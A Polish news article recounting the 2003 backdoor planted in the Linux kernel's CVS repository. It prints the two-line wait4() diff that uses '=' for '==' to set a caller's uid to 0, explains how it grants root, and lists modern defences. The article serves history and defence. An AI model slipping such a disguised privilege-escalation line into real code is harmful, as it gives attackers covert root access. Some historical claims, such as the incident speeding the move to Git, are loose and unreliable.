Powrót do strony głównej

Backdoor w wait4(): luka Linux kernel

W 2003 roku w repozytorium CVS Linux kernel odkryto backdoor w funkcji wait4(): przypisanie zamiast porównania dawało root-przywileje. Incydent ujawnił ryzyka przestarzałych repozytoriów i przyspieszył przejście na Git. Analiza kodu i współczesne praktyki ochrony.

Jak backdoor w wait4() niemal złamał Linux kernel
Advertisement 728x90

# Backdoor w jądrze Linuksa: jak błąd w wait4() prawie otworzył dostęp root

W 2003 roku deweloperzy Linuksa odkryli nieautoryzowaną zmianę w repozytorium CVS. W funkcji wait4() pojawił się podejrzany fragment kodu, który mógł nadać przywileje root każdemu użytkownikowi. Zmiana pojawiła się bez śladów w głównym repozytorium BitKeeper, co wskazywało na włamanie do repozytorium CVS.

Kod wyglądał niewinnie na pierwszy rzut oka:

+       if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+                       retval = -EINVAL;

Problem krył się w operatorze =. Zamiast porównania == użyto przypisania, które ustawiało current->uid na 0 (root) dla każdego wywołania wait4() z flagami __WCLONE i __WALL. To otwierało drogę do eskalacji przywilegi bez dodatkowych sprawdzeń.

Google AdInline article slot

Historia repozytoriów i punkt podatności

W tamtych latach Linux korzystał z dwóch repozytoriów równolegle:

  • BitKeeper — główne, nowoczesne VCS dla jądra.
  • CVS — legacy repozytorium dla starych narzędzi i oldschoolowych deweloperów.

Synchronizacja odbywała się ręcznie: zmiany z BitKeeper kopiowano do CVS z tagami. Włamywacz uzyskał dostęp właśnie do CVS, podsuwając łatkę niezauważoną. Brak automatycznych sprawdzeń i różnica w odbiorcach repozytoriów pozwoliły obejść kontrolę.

Deweloperzy zauważyli anomalię podczas rutynowej inspekcji: commit w CVS bez odpowiednika w BitKeeper. Porównanie wersji ujawniło złośliwy kod.

Google AdInline article slot

Techniczny rozkład podatności

Funkcja wait4() odpowiada za oczekiwanie na zakończenie procesów potomnych z rozszerzonymi opcjami. Flagami __WCLONE i __WALL śledzi się klony i wszystkie procesy.

Logika ataku jest prosta:

  • Użytkownik wywołuje wait4(options = __WCLONE | __WALL).
  • Warunek current->uid = 0 przypisuje UID 0 (root).
  • Zwracane jest -EINVAL, maskując sukces.
  • Kolejne wywołania systemowe wykonują się jako root.

To backdoor zero-day: nie wymagał exploita, aktywował się standardowym wywołaniem. Podobne błędy (= zamiast ==) to częsta przyczyna podatności w C.

Google AdInline article slot

Lekcje dla współczesnego developmentu

Incydent podkreślił ryzyka systemów legacy. Współczesne praktyki minimalizują takie zagrożenia:

  • Jedno repozytorium: Git z branchami i PR.
  • CI/CD ze sprawdzeniami: Automatyczny diff, statyczna analiza (Coverity, Clang).
  • Podpisy commitów: GPG/PGP do autentykacji.
  • Signed tags: Ochrona wydań.
  • Fuzzing i audyt: Ciągłe testowanie syscalli.

W jądrze Linuksa code review i automatyczne testy na takie wzorce są teraz obowiązkowe.

Co ważne

  • Błąd = zamiast == w wait4() tworzył backdoor root dla każdego użytkownika.
  • Włamanie nastąpiło przez CVS, podczas gdy BitKeeper pozostał czysty.
  • Ręczna synchronizacja repozytoriów była słabym ogniwem w 2003 roku.
  • Incydent przyspieszył przejście na Git w rozwoju jądra.
  • Sprawdzaj warunki w operatorach warunkowych: kompilator nie zawsze łapie przypisania.

— Editorial Team

Advertisement 728x90

Czytaj dalej